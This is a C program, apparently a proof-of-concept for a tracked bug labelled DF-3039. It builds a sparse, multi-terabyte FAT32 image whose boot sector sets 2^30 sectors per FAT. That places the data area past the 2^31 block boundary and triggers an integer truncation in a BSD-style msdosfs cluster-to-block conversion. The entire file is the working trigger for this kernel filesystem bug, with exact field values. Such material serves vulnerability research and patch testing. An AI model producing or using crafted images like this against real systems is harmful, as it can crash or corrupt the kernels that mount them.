/* DF-3039 image crafter (guest-side): sparse FAT32 with data area start
 * (firstcluster = 32 + 2*0x40000000 = 0x80000020) beyond the 2^31 block
 * boundary, so cntobn(pmp, newcluster) >= 2^31 truncates in 'int bn'. */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>

static unsigned char bs[512], fsi[512], fat0[24];

static void
p16(unsigned char *p, int off, unsigned v) { p[off] = v & 0xff; p[off+1] = (v >> 8) & 0xff; }
static void
p32(unsigned char *p, int off, uint32_t v)
{
	p[off] = v & 0xff; p[off+1] = (v >> 8) & 0xff;
	p[off+2] = (v >> 16) & 0xff; p[off+3] = (v >> 24) & 0xff;
}

int
main(int argc, char **argv)
{
	const char *img = argv[1];
	uint32_t resv = 32, nfats = 2;
	uint32_t fatsecs = 0x40000000u;	/* 2^30 sectors/FAT */
	uint32_t hugesec = 0x80012020u;	/* firstcluster + 0x12000 */
	int fd;

	memset(bs, 0, sizeof(bs)); memset(fsi, 0, sizeof(fsi)); memset(fat0, 0, sizeof(fat0));
	memcpy(bs, "\xeb\x58\x90" "DF3039   ", 11);
	p16(bs, 11, 512);	/* bytes/sec */
	bs[13] = 1;		/* sec/cluster */
	p16(bs, 14, resv);
	bs[16] = (unsigned char)nfats;
	bs[21] = 0xF8;
	p16(bs, 24, 63); p16(bs, 26, 255);
	p32(bs, 32, hugesec);	/* totsec32 */
	p32(bs, 36, fatsecs);	/* fatsz32 */
	p16(bs, 40, 0);		/* extflags */
	p16(bs, 42, 0);		/* fsver */
	p32(bs, 44, 2);		/* root cluster */
	p16(bs, 48, 1);		/* fsinfo sector */
	p16(bs, 50, 6);		/* bkboot sector */
	bs[510] = 0x55; bs[511] = 0xAA;
	memcpy(fsi, "RRaA", 4);
	p32(fsi, 484, 0xFFFFFFFFu); p32(fsi, 488, 0xFFFFFFFFu);
	memcpy(fsi + 508, "rrAa", 4);
	p32(fat0, 0, 0xFFFFFFF8u);	/* FAT[0] */
	p32(fat0, 4, 0xFFFFFFFFu);	/* FAT[1] */
	p32(fat0, 8, 0xFFFFFFFFu);	/* FAT[2] root EOC */

	fd = open(img, O_WRONLY | O_CREAT | O_TRUNC, 0644);
	if (fd < 0) { perror("open"); exit(1); }
	if (write(fd, bs, 512) != 512) { perror("write"); exit(1); }
	if (lseek(fd, 512, SEEK_SET) < 0 || write(fd, fsi, 512) != 512) { perror("fsinfo"); exit(1); }
	if (lseek(fd, 6 * 512, SEEK_SET) < 0 || write(fd, bs, 512) != 512) { perror("bkboot"); exit(1); }
	if (lseek(fd, (off_t)resv * 512, SEEK_SET) < 0 || write(fd, fat0, 24) != 24) { perror("fat"); exit(1); }
	if (ftruncate(fd, (off_t)hugesec * 512) < 0) { perror("ftruncate"); exit(1); }
	close(fd);
	printf("firstcluster=0x%x hugesec=0x%x (~%u clusters) size=%.2f TiB sparse\n",
	       32 + (uint32_t)(nfats * fatsecs), hugesec, hugesec - 32 - nfats * fatsecs,
	       (double)((off_t)hugesec * 512) / 1099511627776.0);
	return 0;
}
